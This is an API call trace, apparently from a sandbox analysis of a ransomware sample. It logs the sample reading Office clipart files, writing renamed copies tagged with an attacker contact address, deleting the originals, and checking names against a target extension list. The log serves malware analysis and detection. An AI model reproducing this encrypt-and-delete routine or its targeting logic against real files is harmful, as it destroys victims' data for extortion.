	[0207.519] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.519] SetEndOfFile (hFile=0x380) returned 1
	[0207.519] CloseHandle (hObject=0x380) returned 1
	[0207.519] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.519] SetEndOfFile (hFile=0x37c) returned 1
	[0207.520] CloseHandle (hObject=0x37c) returned 1
	[0207.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1
	[0207.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.521] lstrlenW (lpString=".doc") returned 4
	[0207.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.521] lstrlenW (lpString=".docx") returned 5
	[0207.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.521] lstrlenW (lpString=".pdf") returned 4
	[0207.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.521] lstrlenW (lpString=".xls") returned 4
	[0207.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.521] lstrlenW (lpString=".xlsx") returned 5
	[0207.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.521] lstrlenW (lpString=".ppt") returned 4
	[0207.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.521] lstrlenW (lpString=".zip") returned 4
	[0207.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.521] lstrlenW (lpString=".rar") returned 4
	[0207.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.521] lstrlenW (lpString=".bz2") returned 4
	[0207.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.521] lstrlenW (lpString=".7z") returned 3
	[0207.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.521] lstrlenW (lpString=".dbf") returned 4
	[0207.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.522] lstrlenW (lpString=".1cd") returned 4
	[0207.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.522] lstrlenW (lpString=".jpg") returned 4
	[0207.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.522] lstrlenW (lpString=".doc") returned 4
	[0207.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString=".docx") returned 5
	[0207.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.522] lstrlenW (lpString=".pdf") returned 4
	[0207.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString=".xls") returned 4
	[0207.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.522] lstrlenW (lpString=".xlsx") returned 5
	[0207.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.522] lstrlenW (lpString=".ppt") returned 4
	[0207.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.522] lstrlenW (lpString=".zip") returned 4
	[0207.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.522] lstrlenW (lpString=".rar") returned 4
	[0207.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString=".bz2") returned 4
	[0207.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString=".7z") returned 3
	[0207.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.522] lstrlenW (lpString=".dbf") returned 4
	[0207.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.523] lstrlenW (lpString=".1cd") returned 4
	[0207.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0207.523] lstrlenW (lpString=".jpg") returned 4
	[0207.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.523] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.523] lstrlenW (lpString="FD02141_.WMF") returned 12
	[0207.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.523] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=2636) returned 1
	[0207.523] CloseHandle (hObject=0x37c) returned 1
	[0207.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220
	[0207.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.524] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.524] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.525] GetLastError () returned 0x0
	[0207.525] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0207.770] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xa50, lpOverlapped=0x0) returned 1
	[0207.772] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.772] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.772] SetEndOfFile (hFile=0x380) returned 1
	[0207.772] CloseHandle (hObject=0x380) returned 1
	[0207.772] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.772] SetEndOfFile (hFile=0x37c) returned 1
	[0207.773] CloseHandle (hObject=0x37c) returned 1
	[0207.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1
	[0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.774] lstrlenW (lpString=".doc") returned 4
	[0207.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.774] lstrlenW (lpString=".docx") returned 5
	[0207.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.774] lstrlenW (lpString=".pdf") returned 4
	[0207.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.774] lstrlenW (lpString=".xls") returned 4
	[0207.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.774] lstrlenW (lpString=".xlsx") returned 5
	[0207.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.774] lstrlenW (lpString=".ppt") returned 4
	[0207.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.774] lstrlenW (lpString=".zip") returned 4
	[0207.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.774] lstrlenW (lpString=".rar") returned 4
	[0207.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.774] lstrlenW (lpString=".bz2") returned 4
	[0207.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString=".7z") returned 3
	[0207.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.775] lstrlenW (lpString=".dbf") returned 4
	[0207.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.775] lstrlenW (lpString=".1cd") returned 4
	[0207.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.775] lstrlenW (lpString=".jpg") returned 4
	[0207.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.775] lstrlenW (lpString=".doc") returned 4
	[0207.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString=".docx") returned 5
	[0207.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.775] lstrlenW (lpString=".pdf") returned 4
	[0207.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString=".xls") returned 4
	[0207.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.775] lstrlenW (lpString=".xlsx") returned 5
	[0207.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.775] lstrlenW (lpString=".ppt") returned 4
	[0207.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.775] lstrlenW (lpString=".zip") returned 4
	[0207.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.775] lstrlenW (lpString=".rar") returned 4
	[0207.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.775] lstrlenW (lpString=".bz2") returned 4
	[0207.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.776] lstrlenW (lpString=".7z") returned 3
	[0207.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.776] lstrlenW (lpString=".dbf") returned 4
	[0207.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.776] lstrlenW (lpString=".1cd") returned 4
	[0207.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0207.776] lstrlenW (lpString=".jpg") returned 4
	[0207.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.776] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.776] lstrlenW (lpString="HH00334_.WMF") returned 12
	[0207.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.776] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=1528) returned 1
	[0207.776] CloseHandle (hObject=0x37c) returned 1
	[0207.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220
	[0207.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.777] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.777] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.778] GetLastError () returned 0x0
	[0207.778] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x5f8, lpOverlapped=0x0) returned 1
	[0207.779] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x600, lpOverlapped=0x0) returned 1
	[0207.780] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.780] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.780] SetEndOfFile (hFile=0x380) returned 1
	[0207.780] CloseHandle (hObject=0x380) returned 1
	[0207.780] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.780] SetEndOfFile (hFile=0x37c) returned 1
	[0207.781] CloseHandle (hObject=0x37c) returned 1
	[0207.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1
	[0207.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.782] lstrlenW (lpString=".doc") returned 4
	[0207.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.782] lstrlenW (lpString=".docx") returned 5
	[0207.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.782] lstrlenW (lpString=".pdf") returned 4
	[0207.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.782] lstrlenW (lpString=".xls") returned 4
	[0207.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.782] lstrlenW (lpString=".xlsx") returned 5
	[0207.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.782] lstrlenW (lpString=".ppt") returned 4
	[0207.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.782] lstrlenW (lpString=".zip") returned 4
	[0207.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.783] lstrlenW (lpString=".rar") returned 4
	[0207.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString=".bz2") returned 4
	[0207.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString=".7z") returned 3
	[0207.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.783] lstrlenW (lpString=".dbf") returned 4
	[0207.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.783] lstrlenW (lpString=".1cd") returned 4
	[0207.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.783] lstrlenW (lpString=".jpg") returned 4
	[0207.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.783] lstrlenW (lpString=".doc") returned 4
	[0207.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString=".docx") returned 5
	[0207.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.783] lstrlenW (lpString=".pdf") returned 4
	[0207.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString=".xls") returned 4
	[0207.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.783] lstrlenW (lpString=".xlsx") returned 5
	[0207.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.783] lstrlenW (lpString=".ppt") returned 4
	[0207.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.783] lstrlenW (lpString=".zip") returned 4
	[0207.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.784] lstrlenW (lpString=".rar") returned 4
	[0207.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.784] lstrlenW (lpString=".bz2") returned 4
	[0207.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.784] lstrlenW (lpString=".7z") returned 3
	[0207.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.784] lstrlenW (lpString=".dbf") returned 4
	[0207.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.784] lstrlenW (lpString=".1cd") returned 4
	[0207.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0207.784] lstrlenW (lpString=".jpg") returned 4
	[0207.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.784] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.784] lstrlenW (lpString="HH00443_.WMF") returned 12
	[0207.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.784] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=3298) returned 1
	[0207.785] CloseHandle (hObject=0x37c) returned 1
	[0207.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220
	[0207.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.785] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.785] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.786] GetLastError () returned 0x0
	[0207.786] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0xce2, lpOverlapped=0x0) returned 1
	[0207.787] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xcf0, lpOverlapped=0x0) returned 1
